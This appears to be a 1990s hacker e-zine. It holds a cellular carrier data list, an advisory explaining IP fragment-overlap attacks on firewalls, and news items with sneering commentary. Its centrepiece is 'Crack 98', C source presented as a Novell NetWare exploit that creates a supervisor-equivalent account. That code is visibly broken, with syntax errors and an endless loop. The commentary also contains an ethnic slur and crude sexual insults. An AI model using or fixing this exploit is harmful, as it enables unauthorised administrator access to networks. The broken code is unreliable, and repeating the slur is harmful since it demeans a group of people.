16401:=:Montreal:QU:Cantel, Inc.:514 340 9220:GTEDS
16403:=:Oshawa:ON:Cantel, Inc.:416 440 1300:GTEDS
16405:=:Ottawa:ON:Cantel, Inc.:514 340 9220:GTEDS
16407:=:Quebec City:QU:Cantel, Inc.:514 340 9220:GTEDS
16408:=:Bathurst:NB:MT&T Cellular::GTEDS
16408:=:Newcastle:NB:MT&T Cellular::GTEDS
16409:=:Regina:SK:Cantel, Inc.:403 266 1300:GTEDS
16411:=:St. John:NB:Cantel, Inc.:416 440 1300:GTEDS
16413:=:Saskatoon:SK:Cantel, Inc.:403 266 1300:GTEDS
16415:=:St. Catharines:ON:Cantel, Inc.:416 440 1300:GTEDS
16419:=:Sudbury:ON:Cantel, Inc.:416 440 1300:GTEDS
16423:=:Newmarket:ON:Cantel, Inc.:416 440 1300:GTEDS
16423:=:Toronto:ON:Cantel, Inc.:416::GTEDS
16425:=:Abbotsford:BC:Cantel, Inc.:604 687 1440:GTEDS
16427:=:Vancouver:BC:Cantel, Inc.:604 687 1440:GTEDS
16428:=:Winnipeg:MB:MTS Cellular:204 941 7910:GTEDS
16431:=:Windsor:ON:Cantel, Inc.:416 440 1300:GTEDS
16431:=:Winnipeg:MB:Cantel, Inc.:403 266 1300:GTEDS
16433:=:Trois Rivieres:QU:Cantel, Inc.:416 440 1300:GTEDS
16435:=:Barrie:ON:Cantel, Inc.:416 440 1300:GTEDS
16437:=:Brantford:ON:Cantel, Inc.:416 440 1300:GTEDS
16439:=:Sherbrooke:QU:Cantel, Inc.:514 340 9220:GTEDS
16441:=:Peterborough:ON:Cantel, Inc.:416 440 1300:GTEDS
16443:=:Kingston:ON:Cantel, Inc.:416 440 1300:GTEDS
16445:=:Red Deer:AB:Cantel, Inc.:403 266 1300:GTEDS
16447:=:Nanaimo:BC:Cantel, Inc.:604 687 1440:GTEDS
16449:=:Belleville:ON:Cantel, Inc.:416 440 1300:GTEDS
16451:=:Cornwall:ON:Cantel, Inc.:514 340 9220:GTEDS
16453:=:Portage:AB:Cantel, Inc.:403 266 1300:GTEDS
16455:=:Selkirk:AB:Cantel, Inc.:403 266 1300:GTEDS
16457:=:Chatham:ON:Cantel, Inc.:416 440 1300:GTEDS
16459:=:Sarnia:ON:Cantel, Inc.:416 440 1300:GTEDS
16461:=:Chiliwack:BC:Cantel, Inc.:604 687 1440:GTEDS
16463:=:Whistler:BC:Cantel, Inc.:604 687 1440:GTEDS
16465:=:Steinbach:MB:Cantel, Inc.:403 266 1300:GTEDS
16467:=:Moncton:NB:Cantel, Inc.:416 440 1300:GTEDS
16469:=:Fredericton:NB:Cantel, Inc.::GTEDS
16471:=:Brandon:MB:Cantel, Inc.:403 266 1300:GTEDS
16473:=:Lethbridge:AB:Cantel, Inc.:403 266 1300:GTEDS
16475:=:Truro:NS:Cantel, Inc.:416 440 1300:GTEDS
16477:=:Collingwood:ON:Cantel, Inc.::GTEDS
16481:=:St. Marie:QU:Cantel, Inc.:514 340 9220:GTEDS
16485:=:Coburg:ON:Cantel, Inc.:415 440 1300:GTEDS
16485:=:Newtonville:ON:Cantel, Inc.:415 440 1300:GTEDS
16487:=:Brockville:QU:Cantel, Inc.:514 340 9220:GTEDS
16491:=:Ponoka:AB:Cantel, Inc.:604 687 1440:GTEDS
16493:=:Bowden:QU:Cantel, Inc.:604 687 1440:GTEDS
16509:=:Orillia:ON:Cantel, Inc.:416 440 1300:GTEDS
16521:=:Kelowna:BC:Cantel, Inc.::GTEDS
16525:=:Penticton:BC:Cantel, Inc.::GTEDS
16527:=:Kamloops:BC:Cantel, Inc.::GTEDS
16531:=:Canmore:ON:Cantel, Inc.::GTEDS
32752:=:Nassau:BH:Batelco:809 322 4848:GTEDS
!EOF!
exit 0
---------------------------------------------------------------------------
[Dr. Cohen]------->Packet Fragmentation Attacks
ADVISORY: TCP packet fragment attacks against firewalls and filters
System: TCP/IP networks
Introduction to Packet Fragmentation
Packet fragmentation is the part of the Internet Protocol (IP) suite of
networking protocols that assures that IP datagrams can flow through any
other sort of network. (For details, see Internet Request For Comments 791
(rfc791) and are available and searchable in electronic form from Info-Sec
heaven on the World-Wide-Web at http://all.net, through gopher service at
all.net, or by ftp service from rs.internic.net.) Fragmentation works by
allowing datagrams created as a single packet to be split into many smaller
packets for transmission and reassembled at the receiving host.
Packet fragmentation is necessary because underlying the IP protocol, other
physical and or logical protocols are used to transport packets through
networks. A good example of this phenomena is on the difference between
Ethernet packets (which are limited to 1024 bytes), ATM packets (which are
limited to 56 bytes), and IP packets which have variable sizes up to about
1/2 million bytes in length.
The only exception to this rule is in the case of an internet datagram
marked don't fragment . Any internet datagram marked in this way is
supposed to not be fragmented under any circumstances. If internet
datagrams marked don't fragment cannot be delivered to their destination
without being fragmented, they are supposed to be discarded instead. Of
course, this rule doesn't have to be obeyed by the IP software actually
processing packets, but it is supposed to be.
How Packet Reassembly Attacks Work
The packet fragmentation mechanism leads to attacks that bypass many
current Internet firewalls, but the reason these attacks work is not
b
ecause of the way fragmentation is done, but rather because of the way
datagrams are reassembled.
Datagrams are supposed to be fragmented into packets that leave the header
portion of the packet intact except for the modification of the fragmented
packet bit and the filling in of an offset field in the IP header that
indicates at which byte in the whole datagram the current packet is
supposed to start. In reassembly, the IP reassembler creates a temporary
packet with the fragmented part of the datagram in place and adds incoming
fragments by placing their data fields at the specified offsets within the
datagram being reassembled. Once the whole datagram is reassembled, it is
processed as if it came in as a single packet.
According to the IP specification, fragmented packets are to be reassembled
at the receiving host. This presumably means that they are not supposed to
be reassembled at intermediate sites such as firewalls or routers. This
decision was made presumably to prevent repeated reassembly and
refragmentation in intermediate networks. When routers and firewalls
followed the rules, they found a peculiar problem.
The way firewalls and routers block specific services (such as telnet )
while allowing other services (such as the world wide web http service) is
by looking into the IP packet to determine which Transfer Control Protocol
(TCP) port is being used. If the port corresponds to 80, the datagram is
destined for http service, while port 23 is used for telnet . In normal
datagrams, this works fine. But suppose we didn't follow the rules for
fragmentation and created improper fragmented packets? Here's what one
attacker did:
* Create an initial packet which claims to be the first fragment of a
multi-packet datagram. Specify TCP port 80 in the TCP header so it
looks like a datagram going to http service, which is allowed to pass
the firewall.
* The firewall passes the packet to the host under attack and passes
subsequent packet fragments in order to allow the destination host to
reassemble the packet.
* One of the subsequent packets has an offset of 0 which causes the
reassembler to overwrite the initial part of the IP packet. This is
the part of the IP packet that specifies the TCP port. The attacker
overwrites the IP port number which was originally 80 with a new port
number such as 23, and is now granted telnet access to the host under
attack despite the firewall that is supposed to block the service.
---------------------------------------------------------------------------
Novell Netware Administration Exploit<----------[Mnemonic]
#include <stdio.h>
#include <io.h>
#include <fcntl.h>
#include <string.h>
#include <stddef.h>
#include <errno.h>
#include <direct.h>
#include <nwtypes.h>
#include <nwbindry.h>
#include <dos.h>
main(int argc, char *argv[])
{
long task;
char *account
printf("Crack 98 written by Mnemonic\n");
task = SetCurrentTask(-1L);
SetCurrentConnection(0);
account = argv[1];
while (argc > 1)
{
if (CreateBinderyObject(name, OT_USER, BF_STATIC, 0x31) == 0)
printf("The account %s has been created\n", account);
else
printf("The account %s already exists on the network\n", account);
CreateProperty(account, OUT_USER, "SECURITY_EQUALS", BF_STATIC | BF_SET,
0x32);
if (AddBinderyObjectToSet(account, OT_USER, "SECURITY_EQUALS",
"SUPERVISOR", OT_USER) == 0)
printf("The account %s has been made supervisor equivalent\n", account);
else
printf("The account is already supervisor equivalent\n");
}
printf("You must enter an account name\n");
account = argv[1];
}
ReturnBlockOfTasks(&task, 1L);
ReturnConnection(GetCurrentConnection());
return 0;
}
Crack '98 sets the connection to 0 for supervisor,
and then creates a user object in the bindery which must
have an equivalent property. Then it adds supervisor
equivalent to the supervisor equivalence property so it
can make an account equivalent to that of supervisor. It
supports Novell NetWare 2.x, 3.x, 4.x, and Novell IntraNet
Ware 4.x. This is what the account's login script should
look like after you've run the program.
WRITE "Good%GREETING_TIME, %LOGIN_NAME."
MAP DISPLAY OFF
MAP ERRORS OFF
Remark: Set 1st drive to most appropriate directory
MAP *1:=SYS:; *1=%LOGIIF "%1"="SUPERVISOR" MAP *1:=SYS:SYSTEM
Remark: Set search drives (S2 machine-OS dependent).
MAPT S1:=SYS:PUBLIC; S2:=S1:%MACHINE/%OS/%OS_VERSION
Remark: Now display all the current drive settings.
MAP DISPLAY ON
MAP
Here, the SUPERVISOR default logins are the
directory names SYS:SYSTEM and/or SYS:PUBLIC as the
filename NET$LOG.DAT. NetWare assigns each user or
group a unique number when it is defined. The
SUPERVISOR user number is always 1. All other users and
groups are assigned hexadecimal numbers. Since all mail
directories are created in the directory SYS:MAIL, the
LAN SUPERVISOR's mail directory is SYS:MAIL\1. The user
login script itself, however, is stored in a file named
LOGIN with no extension. For example, IL\1\LOGIN. The
user login script is used to define user-specific
resources and environment settings. If a user login
script file exists it will be executed. If it does not
exist, then the LOGIN program invokes a default user
login script. This can be a source of trouble, as the
default user login script might interfere with drive
mappings in the system login script.
There are two utilities provided with NetWare to
create new user accounts. These are SYSCON and
MAKEUSER. Both are displayed as options on the NetWare
Login main screen, and can be used to create a new
account, and its corresponding login script.
When a user logs into the NetWare, the LOGIN
program verifies if the entered password specifies the
id that corresponds with it, and then retrieves the user
rights information from the file server. If one exists,
the system login script is then executed. This script,
is then stored in the user acount's mail directory. In
NetWare 2.x, the password file is NET$BVAL.SYS, and is
kept in the SYS:PASSWD directory along with the security
file NET$BIND.SYS. In 3.x, the password file is
NET$VAL.SYS and is also kept in the SYS:PASSWD directory
along with the security files NET$OBJ.SYS and
NET$PROP.SYS. In 4.x you have PARTITIO.NDS, BLOCK.NDS,
ENTRY.NDS, VALUE.NDS, and UNINSTAL.NDS. The system
login script is created with the SYSCON utility be the
LAN supervisor and is stored in a file named NET$LOG.DAT
in the SYS:PUBLIC directory. Here is an example of how
permissions are assigned.
USER1 is a member of the groups EVERYONE and ACCOUNTING.
All users are members of EVERYONE.
Group EVERYONE has Read, Open, and Search rights in SYS:APPS.
Group ACCOUNTING has Write, Create, and Delete rights in SYS:APPS\DATA
USER1 has Parental and Modify rights in SYS:APPS\DATA\USER1
USER1's trustee priveleges are accounted for as
Directory Group Rights
SYS:APPS EVERYONE [R O S ]
SYS:APPS\DATA ACCOUNTING [ W CD ]
Trustee priveleges [RWOCD S ]
The one access type that gains everything is called
Supervisory. Its environmetal settings are RWOCDPSM.
-Mnemonic
---------------------------------------------------------------------------
[sources]---------In the News
Comments from "that elite guy"
<<Encryption>>
New Encryption Policy Gets Complaints-
To mixed reviews, the U.S government eased up on the encryption export
controls. Long under pressure from software companies, the Commerce
Deparment says it will now let them export software with the stronger
56-bit Data Encryption Standard (DES) to 45 foreign nations. Serveral
industry spokespersons paised the decision, but not Phil Zimmermann of
Pretty Good Privacy (PGP). He insists U.S. firms need 128-bit
cryptography to remain competitive in the world market. And the Electronic
Frontier foundation, which recently cracked 56-bit encryption in three days
says the new policy does little for individual privacy (Wired)
Note: Legions can still use your CPU power to help crack the rc5-64bit
algorithm all you have to do is download a "MOO!" client at
http://www.distributed.net/clients.html set your the email query
to webmaster@legions.org or assign to the Legions Team ID# 5797 and
start milking! the more systems you have the client running on
the better the chances. If you end up cracking the encryption
scheme you will win $1000, and a kiss from chixy at hackersclub.com
Send your feed back on this article to: webmaster@legions.org
<<Linux>>
Linux Hits the Big Time
by Charles Babcock <--- hehe
Linux has been quietly gathering support as a free operating system. But
last week, it may have gone prime-time. AT ISPcon '98, Intel Corp. Said
it will work with Linux developers to ensure that the software to drive
computer accessories is readily available. That will give Linux
similar "plug, and play" features to Microsoft Corp.'s Windows. To
Underscore its commitment to Linux, Intel took an equity position in
a commercial distributor of the operating system, Red Hat software Inc.
Other investors: Netscape Communications Corp, and two venture capital
firms. Bussiness users may doubt that a piece of freeware will be around
five years from now, said Red Hat president Robert Young, "but they know
Intel will be."
Our Comments: hehe this means you LAMERS who never could figure out what a
boot disk was or just was never ABLE to fully comprehend enough to
install linux will SOON just have to sit, and click "ok" a hundred times
before it installs. What is the world comming to? Linux is a MANS
machine its to feverish for the lights of windows guppies.
<<GAO report: Ongoing security Issues>>
Chronic Problems persist.
The U.S General Accounting Office (GAO) has issued more than 60 reports
detailing computer security problems in federal operations over the past
two years. Yet, a review of those reports by the GAO shows that almost
nothing has changed as a result of its warning. Some of the ongoing
problems are:
* Poor password controls
* Insuufficient serpartion of duties to precent fraud and abuse
* Widespread ignorance of computer security basics among works.
* Dail-in connections open to anyone who knows the corresponding number.
* Failure to include computer security as part of performance appraisals.
notes from "that elite guy": hOhOhO uNeL1t3 goverment users st1lL uSiNg
pasSWd'S Lik "gaWD","seKreT" and "seKs". JeW GuyZ are juZ asking
to be 0wn3d by HFG, n D3m e1it3 ch40s FewLs. thiZ pe3pLE
R ELiTe BeCauz thEy h4b n0 TiMe On TheIR HanDs(only lotion)
s0 TheY s1t ArouNd TypInG liK EyE M RyTe N0w, N BrutE ph0rCing
PassWd'S IsNt it c0o. (i was'nt kidding about the "lotion" either
if you ask one of them for the time you can see molded cum stains
[BEWARE OF THEIR METHOD]-As Seen on TV!
